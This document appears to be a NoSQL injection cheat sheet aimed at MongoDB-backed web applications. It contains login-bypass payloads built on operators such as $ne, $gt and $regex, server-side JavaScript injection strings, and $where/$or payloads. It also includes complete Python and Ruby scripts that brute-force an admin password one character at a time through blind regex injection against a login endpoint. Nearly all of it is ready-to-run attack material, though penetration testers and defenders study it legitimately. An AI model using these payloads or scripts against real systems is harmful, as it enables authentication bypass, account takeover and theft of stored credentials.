# NoSQL Injection ## Exploit ### Authentication Bypass Basic authentication bypass using not equal ($ne) or greater ($gt) ```javascript in DATA username[$ne]=toto&password[$ne]=toto login[$regex]=a.*&pass[$ne]=lol login[$gt]=admin&login[$lt]=test&pass[$ne]=1 login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto in JSON {"username": {"$ne": null}, "password": {"$ne": null}} {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} {"username": {"$gt": undefined}, "password": {"$gt": undefined}} {"username": {"$gt":""}, "password": {"$gt":""}} ``` ### Extract length information ```javascript username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{3} ``` ### Extract data information ```javascript in URL username[$ne]=toto&password[$regex]=m.{2} username[$ne]=toto&password[$regex]=md.{1} username[$ne]=toto&password[$regex]=mdp username[$ne]=toto&password[$regex]=m.* username[$ne]=toto&password[$regex]=md.* in JSON {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} ``` Extract data with "in" ```javascript {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} ``` ### SSJI ```javascript ';return 'a'=='a' && ''==' ";return 'a'=='a' && ''==' 0;return true ``` ## Blind NoSQL ### POST with JSON body python script ```python import requests import urllib3 import string import urllib urllib3.disable_warnings() username="admin" password="" u="http://example.org/login" headers={'content-type': 'application/json'} while True: for c in string.printable: if c not in ['*','+','.','?','|']: payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) if 'OK' in r.text or r.status_code == 302: print("Found one more char : %s" % (password+c)) password += c ``` ### POST with urlencoded body python script ```python import requests import urllib3 import string import urllib urllib3.disable_warnings() username="admin" password="" u="http://example.org/login" headers={'content-type': 'application/x-www-form-urlencoded'} while True: for c in string.printable: if c not in ['*','+','.','?','|','&','$']: payload='user=%s&pass[$regex]=^%s&remember=on' % (username, password + c) r = requests.post(u, data = payload, headers = headers, verify = False, allow_redirects = False) if r.status_code == 302 and r.headers['Location'] == '/dashboard': print("Found one more char : %s" % (password+c)) password += c ``` ### GET python script ```python import requests import urllib3 import string import urllib urllib3.disable_warnings() username='admin' password='' u='http://example.org/login' while True: for c in string.printable: if c not in ['*','+','.','?','|', '#', '&', '$']: payload=f"?username={username}&password[$regex]=^{password + c}" r = requests.get(u + payload) if 'Yeah' in r.text: print(f"Found one more char : {password+c}") password += c ``` ruby script ```ruby require 'httpx' username = 'admin' password = '' url = 'http://example.org/login' # CHARSET = (?!..?~).to_a # all ASCII printable characters CHARSET = [*'0'..'9',*'a'..'z','-'] # alphanumeric + '-' GET_EXCLUDE = ['*','+','.','?','|', '#', '&', '$'] session = HTTPX.plugin(:persistent) while true CHARSET.each do |c| unless GET_EXCLUDE.include?(c) payload = "?username=#{username}&password[$regex]=^#{password + c}" res = session.get(url + payload) if res.body.to_s.match?('Yeah') puts "Found one more char : #{password + c}" password += c end end end end ``` ## MongoDB Payloads ```html true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1' 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a ' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 || 1==1 ' && this.password.match(/.*/)//+%00 ' && this.passwordzz.match(/.*/)//+%00 '%20%26%26%20this.password.match(/.*/)//+%00 '%20%26%26%20this.passwordzz.match(/.*/)//+%00 {$gt: ''} [$ne]=1 ';return 'a'=='a' && ''==' ";return(true);var xyz='a 0;return true ```